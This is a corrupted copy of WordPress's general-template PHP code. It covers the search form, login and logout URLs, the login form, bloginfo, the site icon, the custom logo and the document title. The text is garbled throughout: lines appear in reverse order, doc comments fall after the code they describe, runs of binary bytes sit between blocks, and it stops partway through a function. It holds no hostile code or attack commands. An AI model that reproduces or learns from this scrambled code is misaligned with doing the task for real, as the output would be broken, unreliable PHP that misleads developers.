������pm]Z@ */ * @return array Heartbeat settings. * @param array $settings * * @since 3.6.0 * * Outputs the nonce used in the heartbeat XHR. * * Default settings for heartbeat./**}	return apply_filters( 'wp_required_field_message', $message );	 */	 * @param string $message Message text and glyph wrapped in a `span` tag.	 *	 * @since 6.1.0	 *	 * Filters the message to explain required form fields.	/**	);		sprintf( __( 'Required fields are marked %s' ), wp_required_field_indicator() )		/* translators: %s: Asterisk symbol (*). */		'<span class="required-field-message">%s</span>',	$message = sprintf(function wp_required_field_message() { */ * @return string Message text and glyph wrapped in a `span` tag. * * @since 6.1.0 * * Creates a message to explain required form fields./**}	return apply_filters( 'wp_required_field_indicator', $indicator );	 */	 * @param string $indicator Markup for the indicator element.	 *	 * @since 6.1.0	 *	 * Filters the markup for a visual indicator of required form fields.	/**	$indicator = '<span class="required">' . esc_html( $glyph ) . '</span>';	$glyph     = __( '*' );	/* translators: Character to identify required form fields. */function wp_required_field_indicator() { */ * @return string Indicator glyph wrapped in a `span` tag. * * @since 6.1.0 * * Assigns a visual indicator for required form fields./**}	return $result;	}		echo $result;	if ( $display ) {	}		$result = '';	} else {		$result = " $type='$type'";	if ( (string) $helper === (string) $current ) {function __checked_selected_helper( $helper, $current, $display, $type ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore */ * @return string HTML attribute or empty string. * @param string $type    The type of checked|selected|disabled|readonly we are doing. * @param bool   $display Whether to echo or just return the string. * @param mixed  $current The other value to compare if not just true. * @param mixed  $helper  One of the values to compare. * * @access private * @since 2.8.0 * * Compares the first two arguments and if identical marks as `$type`. * * Private helper function for checked, selected, disabled and readonly./**}	require_once __DIR__ . '/php-compat/readonly.php';if ( PHP_VERSION_ID < 80100 ) { */ * to a separate file and is only included conditionally on PHP < 8.1. * In order to avoid PHP parser errors, this function was extracted * `readonly` is a reserved keyword and cannot be used as a function name. * Include a compat `readonly()` function on PHP < 8.1. Since PHP 8.1,/*}	return __checked_selected_helper( $readonly_value, $current, $display, 'readonly' );function wp_readonly( $readonly_value, $current = true, $display = true ) { */ * @return string HTML attribute or empty string. *                              Default true. * @param bool  $display        Optional. Whether to echo or just return the string. *                              Default true. * @param mixed $current        Optional. The other value to compare if not just true. * @param mixed $readonly_value One of the values to compare. * * @since 5.9.0 * * Compares the first two arguments and if identical marks as readonly. * * Outputs the HTML readonly attribute./**}	return __checked_selected_helper( $disabled, $current, $display, 'disabled' );function disabled( $disabled, $current = true, $display = true ) {ad?�g����QM���feN0�
�
�
�
�
�
�
}
{
z
v
L
I
����?���E74$�
�
�
�
(
�	�	W	S				��}ZVE��Q����uMJI*)$�����J�r&!��������kh�z)��� * * it. The filter is {@see 'get_search_form'}. * There is a filter applied to the search form HTML in order to edit or replace * will be displayed. The default search form is HTML, which will be displayed. * the parent, then load it. If it doesn't exist, then the default search form * Will first attempt to locate the searchform.php file in either the child or * * Displays search form./**}	}		return false;	if ( ! locate_template( $templates, true, false, $args ) ) {	do_action( 'get_template_part', $slug, $name, $templates, $args );	 */	 * @param array    $args      Additional arguments passed to the template.	 * @param string[] $templates Array of template files to search for, in order.	 *                            or an empty string if there is none.	 * @param string   $name      The name of the specialized template	 * @param string   $slug      The slug name for the generic template.	 *	 * @since 5.5.0 The `$args` parameter was added.	 * @since 5.2.0	 *	 * Fires before an attempt is made to locate and load a template part.	/**	$templates[] = "{$slug}.php";	}		$templates[] = "{$slug}-{$name}.php";	if ( '' !== $name ) {	$name      = (string) $name;	$templates = array();	do_action( "get_template_part_{$slug}", $slug, $name, $args );	 */	 * @param array       $args Additional arguments passed to the template.	 *                          or null if there is none.	 * @param string|null $name The name of the specialized template	 * @param string      $slug The slug name for the generic template.	 *	 * @since 5.5.0 The `$args` parameter was added.	 * @since 3.0.0	 *	 * for the generic template part.	 * The dynamic portion of the hook name, `$slug`, refers to the slug name	 *	 * Fires before the specified template part file is loaded.	/**function get_template_part( $slug, $name = null, $args = array() ) { */ * @return void|false Void on success, false if the template does not exist. *                          Default empty array. * @param array       $args Optional. Additional arguments passed to the template. * @param string|null $name Optional. The name of the specialized template. Default null. * @param string      $slug The slug name for the generic template. * * @since 5.5.0 The `$args` parameter was added. * @since 5.5.0 A return value was added. * @since 3.0.0 * * "special". * For the $name parameter, if the file is called "{slug}-special.php" then specify * * same template part multiple times. * The template is included using require, not require_once, so you may include the * * then no template will be included. * specialized part will be included. If the theme contains no {slug}.php file * Includes the named template part for a theme or if a name is specified then a * * in the theme. * Provides a simple mechanism for child themes to overload reusable sections of code * * Loads a template part into a template./**}	}		return false;	if ( ! locate_template( $templates, true, true, $args ) ) {	$templates[] = 'sidebar.php';	}		$templates[] = "sidebar-{$name}.php";	if ( '' !== $name ) {	$name      = (string) $name;	$templates = array();	do_action( 'get_sidebar', $name, $args );	 */	 * @param array       $args Additional arguments passed to the sidebar template.	 * @param string|null $name Name of the specific sidebar file to use. Null for the default sidebar.	 *	 * @since 5.5.0 The `$args` parameter was added.	 * @since 2.8.0 The `$name` parameter was added.	 * @since 2.2.0	 *	 * Fires before the sidebar template file is loaded.ad)�c�li�t63#�
�
�
�
}
+
��D?����YU'�
�
�
�
Y


�	�	�	�	�	�	U		����[HED��������=9($��JI�����{KG6��5����XW0"���u+ ��			 * If there's no custom aria-label, we can set a default here. At the			/*		} else {			$aria_label = 'aria-label="' . esc_attr( $args['aria_label'] ) . '" ';		if ( $args['aria_label'] ) {		// Build a string containing an aria-label to use for the search form.	} else {		$form = ob_get_clean();		require $search_form_template;		ob_start();	if ( '' !== $search_form_template ) {	$search_form_template = locate_template( 'searchform.php' );	$format = apply_filters( 'search_form_format', $format, $args );	 */	 *                       See get_search_form() for information on accepted arguments.	 * @param array  $args   The array of arguments for building the search form.	 *                       Accepts 'html5', 'xhtml'.	 * @param string $format The type of markup to use in the search form.	 *	 * @since 5.5.0 The `$args` parameter was added.	 * @since 3.6.0	 *	 * Filters the HTML format of the search form.	/**	$format = current_theme_supports( 'html5', 'search-form' ) ? 'html5' : 'xhtml';	$args = array_merge( $defaults, $args );	// Ensure that the filtered arguments contain all required default values.	$args = apply_filters( 'search_form_args', $args );	 */	 *                    See get_search_form() for information on accepted arguments.	 * @param array $args The array of arguments for building the search form.	 *	 * @since 5.2.0	 *	 * Filters the array of arguments used when generating the search form.	/**	$args = wp_parse_args( $args, $defaults );	);		'aria_label' => '',		'echo'       => $echo,	$defaults = array(	// Defaults are to echo and to output no custom label on the form.	}		$args = array();		// Set an empty array and allow default arguments to take over.		$echo = (bool) $args;		 */		 * in 5.2.0. Then we deal with the $args array and cast its defaults.		 * function as expected, we handle a value for the boolean $echo param removed		 * Back compat: to ensure previous uses of get_search_form() continue to		/*	if ( ! is_array( $args ) ) {	$echo = true;	do_action( 'pre_get_search_form', $args );	 */	 *                    See get_search_form() for information on accepted arguments.	 * @param array $args The array of arguments for building the search form.	 *	 * @link https://core.trac.wordpress.org/ticket/19321	 *	 * @since 5.5.0 The `$args` parameter was added.	 * @since 3.6.0	 * @since 2.7.0 as 'get_search_form' action.	 *	 * Fires before the search form is retrieved, at the start of get_search_form().	/**function get_search_form( $args = array() ) { */ * @return void|string Void if 'echo' argument is true, search form HTML if 'echo' is false. * } *                              accessibility. Default empty. *                              multiple search forms on the same page and improve *     @type string $aria_label ARIA label for the search form. Useful to distinguish *     @type bool   $echo       Whether to echo or return the form. Default true. * *     Optional. Array of display arguments. * @param array $args { * * @since 5.2.0 The `$args` array parameter was added in place of an `$echo` boolean flag. * @since 2.7.0 * * search. To give a few examples of what it can be used for. * search relies on or various formatting that applies to the beginning of the * {@see 'pre_get_search_form'}. This can be useful for outputting JavaScript that the * There is also an action that is called whenever the function is run called, * * form into the sidebar and also by the search widget in WordPress. * This function is primarily used by themes which want to hardcode the searchad@p�����o����aS�
�
9
,
!
��T!���9.!�
�
�
�
�
d

�	�	�		d	Q	N	M	5	%							����JG74��C?��|�����xrG=��������_\LI���wX'$#����pl[W	 * @param string $logout_url The HTML-encoded logout URL.	 *	 * @since 2.8.0	 *	 * Filters the logout URL.	/**	$logout_url = wp_nonce_url( $logout_url, 'log-out' );	$logout_url = add_query_arg( $args, site_url( 'wp-login.php?action=logout', 'login' ) );	}		$args['redirect_to'] = urlencode( $redirect );	if ( ! empty( $redirect ) ) {	$args = array();function wp_logout_url( $redirect = '' ) { */ * @return string The logout URL. Note: HTML-encoded via esc_html() in wp_nonce_url(). * @param string $redirect Path to redirect to on logout. * * @since 2.7.0 * * Returns the URL that allows the user to log out of the site. * * Retrieves the logout URL./**}	}		return apply_filters( 'loginout', $link );		/** This filter is documented in wp-includes/general-template.php */	} else {		echo apply_filters( 'loginout', $link );		 */		 * @param string $link The HTML link content.		 *		 * @since 1.5.0		 *		 * Filters the HTML output for the Log In/Log Out link.		/**	if ( $display ) {	}		$link = '<a href="' . esc_url( wp_logout_url( $redirect ) ) . '">' . __( 'Log out' ) . '</a>';	} else {		$link = '<a href="' . esc_url( wp_login_url( $redirect ) ) . '">' . __( 'Log in' ) . '</a>';	if ( ! is_user_logged_in() ) {function wp_loginout( $redirect = '', $display = true ) { */ * @return void|string Void if `$display` argument is true, log in/out link if `$display` is false. * @param bool   $display  Default to echo and not return the link. * @param string $redirect Optional path to redirect to on login/logout. * * @since 1.5.0 * * or log out depending on whether they are currently logged in. * Displays a link, which allows users to navigate to the Log In page to log in * * Displays the Log In/Out link./**}	}		return $result;	} else {		echo $result;	if ( $args['echo'] ) {	}		$result = $form;	if ( null === $result ) {	$result = apply_filters( 'get_search_form', $form, $args );	 */	 *                     See get_search_form() for information on accepted arguments.	 * @param array  $args The array of arguments for building the search form.	 * @param string $form The search form HTML output.	 *	 * @since 5.5.0 The `$args` parameter was added.	 * @since 2.7.0	 *	 * Filters the HTML output of the search form.	/**	}		}			</form>';				</div>					<input type="submit" id="searchsubmit" value="' . esc_attr_x( 'Search', 'submit button' ) . '" />					<input type="text" value="' . get_search_query() . '" name="s" id="s" />					'</label>					_x( 'Search for:', 'label' ) .					/* translators: Hidden accessibility text. */					<label class="screen-reader-text" for="s">' .				<div>			$form = '<form role="search" ' . $aria_label . 'method="get" id="searchform" class="searchform" action="' . esc_url( home_url( '/' ) ) . '">		} else {			</form>';				<input type="submit" class="search-submit" value="' . esc_attr_x( 'Search', 'submit button' ) . '" />				</label>					<input type="search" class="search-field" placeholder="' . esc_attr_x( 'Search &hellip;', 'placeholder' ) . '" value="' . get_search_query() . '" name="s" />					'</span>					_x( 'Search for:', 'label' ) .					/* translators: Hidden accessibility text. */					<span class="screen-reader-text">' .				<label>			$form = '<form role="search" ' . $aria_label . 'method="get" class="search-form" action="' . esc_url( home_url( '/' ) ) . '">		if ( 'html5' === $format ) {		}			$aria_label = '';			 */			 * moment it's empty as there's uncertainty about what the default should be.ad�V��}|x\YIF�|IE�
�
�
^
[
Z
B



������O��PNMI�
�
�
�
�
�
x
t
c
_
(
#
�	�	�	�	{	x				���HE��0�|�L��'�Y��4��� *     @type bool   $required_username Whether the username field has the 'required' attribute. *                                     Default false (unchecked). *     @type bool   $value_remember    Whether the "Remember Me" checkbox should be checked by default. *     @type string $value_username    Default value for the username field. Default empty. *     @type bool   $remember          Whether to display the "rememberme" checkbox in the form. *     @type string $id_submit         ID attribute value for the submit button. Default 'wp-submit'. *     @type string $id_remember       ID attribute value for the remember field. Default 'rememberme'. *     @type string $id_password       ID attribute value for the password field. Default 'user_pass'. *     @type string $id_username       ID attribute value for the username field. Default 'user_login'. *     @type string $label_log_in      Label for the submit button. Default 'Log In'. *     @type string $label_remember    Label for the remember field. Default 'Remember Me'. *     @type string $label_password    Label for the password field. Default 'Password'. *     @type string $label_username    Label for the username or email address field. Default 'Username or Email Address'. *     @type string $form_id           ID attribute value for the form. Default 'loginform'. *                                     Default is to redirect back to the request URI. *     @type string $redirect          URL to redirect to. Must be absolute, as in "https://example.com/mypage/". *                                     Default true (echo). *     @type bool   $echo              Whether to display the login form or return the form HTML code. * *     Optional. Array of options to control the form output. Default empty array. * @param array $args { * * @since 6.6.0 Added `required_username` and `required_password` arguments. * @since 3.0.0 * * The login form HTML is echoed by default. Pass a false value for `$echo` to return it instead. * * Provides a simple login form for use anywhere within WordPress./**}	return apply_filters( 'register_url', site_url( 'wp-login.php?action=register', 'login' ) );	 */	 * @param string $register The user registration URL.	 *	 * @since 3.6.0	 *	 * Filters the user registration URL.	/**function wp_registration_url() { */ * @return string User registration URL. * * @since 3.6.0 * * Returns the URL that allows the user to register on the site./**}	return apply_filters( 'login_url', $login_url, $redirect, $force_reauth );	 */	 * @param bool   $force_reauth Whether to force reauthorization, even if a cookie is present.	 * @param string $redirect     The path to redirect to on login, if supplied.	 * @param string $login_url    The login URL. Not HTML-encoded.	 *	 * @since 4.2.0 The `$force_reauth` parameter was added.	 * @since 2.8.0	 *	 * Filters the login URL.	/**	}		$login_url = add_query_arg( 'reauth', '1', $login_url );	if ( $force_reauth ) {	}		$login_url = add_query_arg( 'redirect_to', urlencode( $redirect ), $login_url );	if ( ! empty( $redirect ) ) {	$login_url = site_url( 'wp-login.php', 'login' );function wp_login_url( $redirect = '', $force_reauth = false ) { */ * @return string The login URL. Not HTML-encoded. *                             Default false. * @param bool   $force_reauth Whether to force reauthorization, even if a cookie is present. * @param string $redirect     Path to redirect to on log in. * * @since 2.7.0 * * Retrieves the login URL./**}	return apply_filters( 'logout_url', $logout_url, $redirect );	 */	 * @param string $redirect   Path to redirect to on logout.ad%�f�j41,����m'�
�
S
(
����]7���1�
�
�
�
�
\
X
G
C
*
&
�	�	�	�	�	E	A	�����je$#���rn]Y�����OK���to('��|vbW8��vN&��������			esc_attr( $args['id_password'] ),			</p>',				<input type="password" name="pwd" id="%1$s" autocomplete="current-password" spellcheck="false" class="input" value="" size="20"%3$s />				<label for="%1$s">%2$s</label>			'<p class="login-password">		sprintf(		) .			( $args['required_username'] ? ' required="required"' : '' )			esc_attr( $args['value_username'] ),			esc_html( $args['label_username'] ),			esc_attr( $args['id_username'] ),			</p>',				<input type="text" name="log" id="%1$s" autocomplete="username" class="input" value="%3$s" size="20"%4$s />				<label for="%1$s">%2$s</label>			'<p class="login-username">		sprintf(		$login_form_top .		) .			esc_url( site_url( 'wp-login.php', 'login_post' ) )			esc_attr( $args['form_id'] ),			'<form name="%1$s" id="%1$s" action="%2$s" method="post">',		sprintf(	$form =	$login_form_bottom = apply_filters( 'login_form_bottom', '', $args );	 */	 * @param array  $args    Array of login form arguments.	 * @param string $content Content to display. Default empty.	 *	 * @since 3.0.0	 *	 * The filter evaluates just preceding the closing form tag element.	 *	 * Filters content to display at the bottom of the login form.	/**	$login_form_middle = apply_filters( 'login_form_middle', '', $args );	 */	 * @param array  $args    Array of login form arguments.	 * @param string $content Content to display. Default empty.	 *	 * @since 3.0.0	 *	 * field is displayed.	 * The filter evaluates just following the location where the 'login-password'	 *	 * Filters content to display in the middle of the login form.	/**	$login_form_top = apply_filters( 'login_form_top', '', $args );	 */	 * @param array  $args    Array of login form arguments.	 * @param string $content Content to display. Default empty.	 *	 * @since 3.0.0	 *	 * The filter evaluates just following the opening form tag element.	 *	 * Filters content to display at the top of the login form.	/**	$args = wp_parse_args( $args, apply_filters( 'login_form_defaults', $defaults ) );	 */	 * @param array $defaults An array of default login form arguments.	 *	 * @see wp_login_form()	 *	 * @since 3.0.0	 *	 * Filters the default login form output arguments.	/**	);		'required_password' => false,		// Set 'required_password' to true to add the required attribute to password field.		'required_username' => false,		// Set 'required_username' to true to add the required attribute to username field.		'value_remember'    => false,		// Set 'value_remember' to true to default the "Remember me" checkbox to checked.		'value_username'    => '',		'remember'          => true,		'id_submit'         => 'wp-submit',		'id_remember'       => 'rememberme',		'id_password'       => 'user_pass',		'id_username'       => 'user_login',		'label_log_in'      => __( 'Log In' ),		'label_remember'    => __( 'Remember Me' ),		'label_password'    => __( 'Password' ),		'label_username'    => __( 'Username or Email Address' ),		'form_id'           => 'loginform',		'redirect'          => ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'],		// Default 'redirect' value takes the user back to the request URI.		'echo'              => true,	$defaults = array(function wp_login_form( $args = array() ) { */ * @return void|string Void if 'echo' argument is true, login form HTML if 'echo' is false. * } * *                                     Default false. *     @type bool   $required_password Whether the password field has the 'required' attribute. *                                     Default false.ad|���{cW��qI?9.�
s
i
F
 

������������GD41�����plkL�
�
�
�
y
v
u



�	�	�	�	�	S	N				���}.+��A���iI����a�������V73"�����tjZWUTP�|li */ * @link https://core.trac.wordpress.org/ticket/1458 Explanation of 'wp_meta' action. * * @since 1.5.0 * * but one purpose might have been to allow for theme switching. * The {@see 'wp_meta'} action can have several purposes, depending on how you use it, * * Theme container function for the 'wp_meta' action./**}	}		return $link;	} else {		echo $link;	if ( $display ) {	$link = apply_filters( 'register', $link );	 */	 * @param string $link The HTML code for the link to the Registration or Admin page.	 *	 * @since 1.5.0	 *	 * if enabled and logged-out.	 * Users are sent to the admin page if logged-in, or the registration page	 *	 * Filters the HTML link to the Registration or Admin page.	/**	}		$link = '';	} else {		$link = $before . '<a href="' . admin_url() . '">' . __( 'Site Admin' ) . '</a>' . $after;	} elseif ( current_user_can( 'read' ) ) {		}			$link = '';		} else {			$link = $before . '<a href="' . esc_url( wp_registration_url() ) . '">' . __( 'Register' ) . '</a>' . $after;		if ( get_option( 'users_can_register' ) ) {	if ( ! is_user_logged_in() ) {function wp_register( $before = '<li>', $after = '</li>', $display = true ) { */ *                     if `$display` is false. * @return void|string Void if `$display` argument is true, registration or admin link * @param bool   $display Default to echo and not return the link. * @param string $after   Text to output after the link. Default `</li>`. * @param string $before  Text to output before the link. Default `<li>`. * * @since 1.5.0 * * not logged in and registration is enabled or to the dashboard if logged in. * Display a link which allows the user to navigate to the registration page if * * Displays the Registration or Admin link./**}	return apply_filters( 'lostpassword_url', $lostpassword_url, $redirect );	 */	 * @param string $redirect         The path to redirect to on login.	 * @param string $lostpassword_url The lost password page URL.	 *	 * @since 2.8.0	 *	 * Filters the Lost Password URL.	/**	$lostpassword_url = add_query_arg( $args, network_site_url( $wp_login_path, 'login' ) );	}		$wp_login_path = 'wp-login.php';	} else {		$wp_login_path = $blog_details->path . 'wp-login.php';		$blog_details  = get_site();	if ( is_multisite() ) {	}		$args['redirect_to'] = urlencode( $redirect );	if ( ! empty( $redirect ) ) {	);		'action' => 'lostpassword',	$args = array(function wp_lostpassword_url( $redirect = '' ) { */ * @return string Lost password URL. * @param string $redirect Path to redirect to on login. * * @since 2.8.0 * * Returns the URL that allows the user to reset the lost password./**}	}		return $form;	} else {		echo $form;	if ( $args['echo'] ) {		'</form>';		$login_form_bottom .		) .			esc_url( $args['redirect'] )			esc_attr( $args['label_log_in'] ),			esc_attr( $args['id_submit'] ),			</p>',				<input type="hidden" name="redirect_to" value="%3$s" />				<input type="submit" name="wp-submit" id="%1$s" class="button button-primary" value="%2$s" />			'<p class="login-submit">		sprintf(		) .			) : ''				esc_html( $args['label_remember'] )				( $args['value_remember'] ? ' checked="checked"' : '' ),				esc_attr( $args['id_remember'] ),				'<p class="login-remember"><label><input name="rememberme" type="checkbox" id="%1$s" value="forever"%2$s /> %3$s</label></p>',			sprintf(		( $args['remember'] ?		$login_form_middle .		) .			( $args['required_password'] ? ' required="required"' : '' )			esc_html( $args['label_password'] ),ad�g������xvuqA>/,�����[YXT# �
�
�
�
;
��m>��E)�
�
p

�	�	V		��{L��j'$�����li���N:�����M�����{;-
������wRH6����			break;			$output = get_feed_link( 'rss2' );		case 'rss2_url':			break;			$output = get_feed_link( 'rss' );		case 'rss_url':			break;			$output = get_feed_link( 'rdf' );		case 'rdf_url':			break;			$output = get_option( 'blogdescription' );		case 'description':			break;			$output = site_url();		case 'wpurl':			break;			$output = home_url();		case 'url':			// Intentional fall-through to be handled by the 'url' case.			);				)					'<code>url</code>'					'<code>bloginfo()</code>',					'<code>' . $show . '</code>',					__( 'The %1$s option is deprecated for the family of %2$s functions. Use the %3$s option instead.' ),					/* translators: 1: 'siteurl'/'home' argument, 2: bloginfo() function name, 3: 'url' argument. */				sprintf(				'2.2.0',				__FUNCTION__,			_deprecated_argument(		case 'siteurl': // Deprecated.		case 'home':    // Deprecated.	switch ( $show ) {function get_bloginfo( $show = '', $filter = 'raw' ) { */ * @return string Mostly string values, might be empty. * @param string $filter Optional. How to filter what is retrieved. Default 'raw'. * @param string $show   Optional. Site info to retrieve. Default empty (site name). * * @global string $wp_version The WordPress version string. * * @since 0.71 * * - 'home' - Use 'url' instead * - 'siteurl' - Use 'url' instead * * Deprecated arguments include: * * These options will trigger the _deprecated_argument() function. * Some `$show` values are deprecated and will be removed in future versions. * * - 'comments_rss2_url' - The comments RSS 2.0 feed URL (/comments/feed) * - 'comments_atom_url' - The comments Atom feed URL (/comments/feed) * - 'rss2_url' - The RSS 2.0 feed URL (/feed) * - 'rss_url' - The RSS 0.92 feed URL (/feed/rss) * - 'rdf_url' - The RDF/RSS 1.0 feed URL (/feed/rdf) * - 'atom_url' - The Atom feed URL (/feed/atom) * - 'pingback_url' - The pingback XML-RPC file URL (xmlrpc.php) *   child theme will NOT take precedence over this value * - 'template_url' / 'template_directory' - URL of the active theme's directory. An active *   will take precedence over this value * - 'stylesheet_directory' - Directory path for the active theme.  An active child theme *   will take precedence over this value * - 'stylesheet_url' - URL to the stylesheet for the active theme. An active child theme * - 'language' - Language code for the current site *   should be used instead * - 'text_direction' - The text direction determined by the site's language. is_rtl() *   can override the default value using the {@see 'pre_option_html_type'} filter * - 'html_type' - The Content-Type (default: "text/html"). Themes and plugins * - 'version' - The current WordPress version * - 'charset' - The "Encoding for pages and feeds"  (set in Settings > Reading) * - 'admin_email' - Admin email (set in Settings > General) * - 'url' - The Site address (URL) (set in Settings > General) * - 'wpurl' - The WordPress address (URL) (set in Settings > General) * - 'description' - Site tagline (set in Settings > General) * - 'name' - Site title (set in Settings > General) * * Possible values for `$show` include: * * Retrieves information about the current site./**}	echo get_bloginfo( $show, 'display' );function bloginfo( $show = '' ) { */ * @param string $show Optional. Site information to display. Default empty. * * @see get_bloginfo() For possible `$show` values * * @since 0.71 * * Displays information about the current site./**}	do_action( 'wp_meta' );	 */	 * @since 1.5.0	 *	 * Fires before displaying echoed content in the sidebar.	/**function wp_meta() {ad"B�����rhL������f9/�
�
�
�
�
|
j
?
$



������ukXR��{Q�
�
�
�
�
}
d
R
E
8
�	]	:		�������{qbW0&#"������OI60���tib#��EA>=,*)%���F���y`_������}eMBA		} else {			$size_data = 'full';		if ( $size >= 512 ) {	if ( $site_icon_id ) {	$site_icon_id = (int) get_option( 'site_icon' );	}		$switched_blog = true;		switch_to_blog( $blog_id );	if ( is_multisite() && ! empty( $blog_id ) && get_current_blog_id() !== (int) $blog_id ) {	$switched_blog = false;function get_site_icon_url( $size = 512, $url = '', $blog_id = 0 ) { */ * @return string Site Icon URL. * @param int    $blog_id Optional. ID of the blog to get the site icon for. Default current blog. * @param string $url     Optional. Fallback url if no site icon is found. Default empty. * @param int    $size    Optional. Size of the site icon. Default 512 (pixels). * * @since 4.3.0 * * Returns the Site Icon URL./**}	return $output;	}		}			$output = apply_filters( 'bloginfo', $output, $show );			 */			 * @param string $show   Type of information requested.			 * @param mixed  $output The requested non-URL site information.			 *			 * @since 0.71			 *			 * Filters the site information returned by get_bloginfo().			/**		} else {			$output = apply_filters( 'bloginfo_url', $output, $show );			 */			 * @param string $show   Type of information requested.			 * @param string $output The URL returned by bloginfo().			 *			 * @since 2.0.5			 *			 * Filters the URL returned by get_bloginfo().			/**		) {			|| str_contains( $show, 'home' )			|| str_contains( $show, 'directory' )			str_contains( $show, 'url' )		if (	if ( 'display' === $filter ) {	}			break;			$output = get_option( 'blogname' );		default:		case 'name':			break;			}				$output = 'ltr';			} else {				$output = is_rtl() ? 'rtl' : 'ltr';			if ( function_exists( 'is_rtl' ) ) {			);				)					'<code>is_rtl()</code>'					'<code>bloginfo()</code>',					'<code>' . $show . '</code>',					__( 'The %1$s option is deprecated for the family of %2$s functions. Use the %3$s function instead.' ),					/* translators: 1: 'text_direction' argument, 2: bloginfo() function name, 3: is_rtl() function name. */				sprintf(				'2.2.0',				__FUNCTION__,			_deprecated_argument(		case 'text_direction':			break;			}				$output = str_replace( '_', '-', $output );				$output = determine_locale();			if ( 'html_lang_attribute' === $output || preg_match( '/[^a-zA-Z0-9-]/', $output ) ) {			$output = __( 'html_lang_attribute' );			 */			 * Do not translate into your own language.			 * see https://www.w3.org/International/articles/language-tags/ for reference.			 * translators: Translate this to the correct language tag for your locale,			/*		case 'language':			break;			$output = $wp_version;			global $wp_version;		case 'version':			break;			$output = get_option( 'html_type' );		case 'html_type':			break;			}				$output = 'UTF-8';			if ( '' === $output ) {			$output = get_option( 'blog_charset' );		case 'charset':			break;			$output = get_option( 'admin_email' );		case 'admin_email':			break;			$output = get_template_directory_uri();		case 'template_url':		case 'template_directory':			break;			$output = get_stylesheet_directory_uri();		case 'stylesheet_directory':			break;			$output = get_stylesheet_uri();		case 'stylesheet_url':			break;			$output = site_url( 'xmlrpc.php' );		case 'pingback_url':			break;			$output = get_feed_link( 'comments_rss2' );		case 'comments_rss2_url':			break;			$output = get_feed_link( 'comments_atom' );		case 'comments_atom_url':			break;			$output = get_feed_link( 'atom' );		case 'atom_url':adx�����u[XWR3/��zu0.-)
�
�
�
I
���dba]-*���^'%$ �
�
�
�
t
9
5


�	�	�	v	]	Z	Y	&	������}|x��^,)���pZA@������m7������<6���tic��yY
		/**		}			}				$custom_logo_attr['alt'] = get_bloginfo( 'name', 'display' );			if ( empty( $image_alt ) ) {			$image_alt = get_post_meta( $custom_logo_id, '_wp_attachment_image_alt', true );			 */			 * to the attributes used by wp_get_attachment_image().			 * If the logo alt attribute is empty, get the site title and explicitly pass it			/*		} else {			$custom_logo_attr['alt'] = '';			 */			 * as the image is decorative and doesn't need its purpose to be described.			 * If on the home page, set the logo alt attribute to an empty string,			/*		if ( $unlink_homepage_logo && is_front_page() && ! is_paged() ) {		$unlink_homepage_logo = (bool) get_theme_support( 'custom-logo', 'unlink-homepage-logo' );		);			'loading' => false,			'class'   => 'custom-logo',		$custom_logo_attr = array(		$custom_logo_id   = get_theme_mod( 'custom_logo' );	if ( has_custom_logo() ) {	// We have a logo. Logo is go.	}		$switched_blog = true;		switch_to_blog( $blog_id );	if ( is_multisite() && ! empty( $blog_id ) && get_current_blog_id() !== (int) $blog_id ) {	$switched_blog = false;	$html          = '';function get_custom_logo( $blog_id = 0 ) { */ * @return string Custom logo markup. * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog. * * @since 5.5.1 Disabled lazy-loading by default. *              for the `custom-logo` theme feature. * @since 5.5.0 Added option to remove the link on the home page with `unlink-homepage-logo` theme support * @since 4.5.0 * * Returns a custom logo, linked to home unless the theme supports removing the link on the home page./**}	return $is_image;	}		restore_current_blog();	if ( $switched_blog ) {	$is_image       = ( $custom_logo_id ) ? wp_attachment_is_image( $custom_logo_id ) : false;	$custom_logo_id = get_theme_mod( 'custom_logo' );	}		$switched_blog = true;		switch_to_blog( $blog_id );	if ( is_multisite() && ! empty( $blog_id ) && get_current_blog_id() !== (int) $blog_id ) {	$switched_blog = false;function has_custom_logo( $blog_id = 0 ) { */ * @return bool Whether the site has a custom logo or not. * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog. * * @since 4.5.0 * * Determines whether the site has a custom logo./**}	return (bool) get_site_icon_url( 512, '', $blog_id );function has_site_icon( $blog_id = 0 ) { */ * @return bool Whether the site has a site icon or not. * @param int $blog_id Optional. ID of the blog in question. Default current blog. * * @since 4.3.0 * * Determines whether the site has a Site Icon./**}	echo esc_url( get_site_icon_url( $size, $url, $blog_id ) );function site_icon_url( $size = 512, $url = '', $blog_id = 0 ) { */ * @param int    $blog_id Optional. ID of the blog to get the site icon for. Default current blog. * @param string $url     Optional. Fallback url if no site icon is found. Default empty. * @param int    $size    Optional. Size of the site icon. Default 512 (pixels). * * @since 4.3.0 * * Displays the Site Icon URL./**}	return apply_filters( 'get_site_icon_url', $url, $size, $blog_id );	 */	 * @param int    $blog_id ID of the blog to get the site icon for.	 * @param int    $size    Size of the site icon.	 * @param string $url     Site icon URL.	 *	 * @since 4.4.0	 *	 * Filters the site icon URL.	/**	}		restore_current_blog();	if ( $switched_blog ) {	}		$url = wp_get_attachment_image_url( $site_icon_id, $size_data );		}			$size_data = array( $size, $size );ad�w����k,��^]X
�
�
d
c
0


���WKD8��v.
�
�
�
�
�
�
O
<
�	�	�	�	�	�	w	t	s	n	J	F	5			���DBA=����[W,	�����RO �����nLH73�������jiXGCB����uN����gf%��	} elseif ( is_post_type_archive() ) {		// If on a post type archive, use the post type archive title.		$title['title'] = get_bloginfo( 'name', 'display' );	} elseif ( is_front_page() ) {		// If on the front page, use the site title.		$title['title'] = sprintf( __( 'Search Results for &#8220;%s&#8221;' ), get_search_query() );		/* translators: %s: Search query. */	} elseif ( is_search() ) {		// If it's a search, use a dynamic search results title.		$title['title'] = __( 'Page not found' );	if ( is_404() ) {	// If it's a 404 page, use a "Page not found" title.	);		'title' => '',	$title = array(	global $page, $paged;	}		return $title;	if ( ! empty( $title ) ) {	$title = apply_filters( 'pre_get_document_title', '' );	 */	 * @param string $title The document title. Default empty string.	 *	 * @since 4.4.0	 *	 * returning that value instead.	 * Passing a non-empty value will short-circuit wp_get_document_title(),	 *	 * Filters the document title before it is generated.	/**function wp_get_document_title() { */ * @return string Tag with the document title. * * @global int $paged Page number of a list of posts. * @global int $page  Page number of a single post. * * @since 4.4.0 * * Returns document title for the current page./**}	echo get_custom_logo( $blog_id );function the_custom_logo( 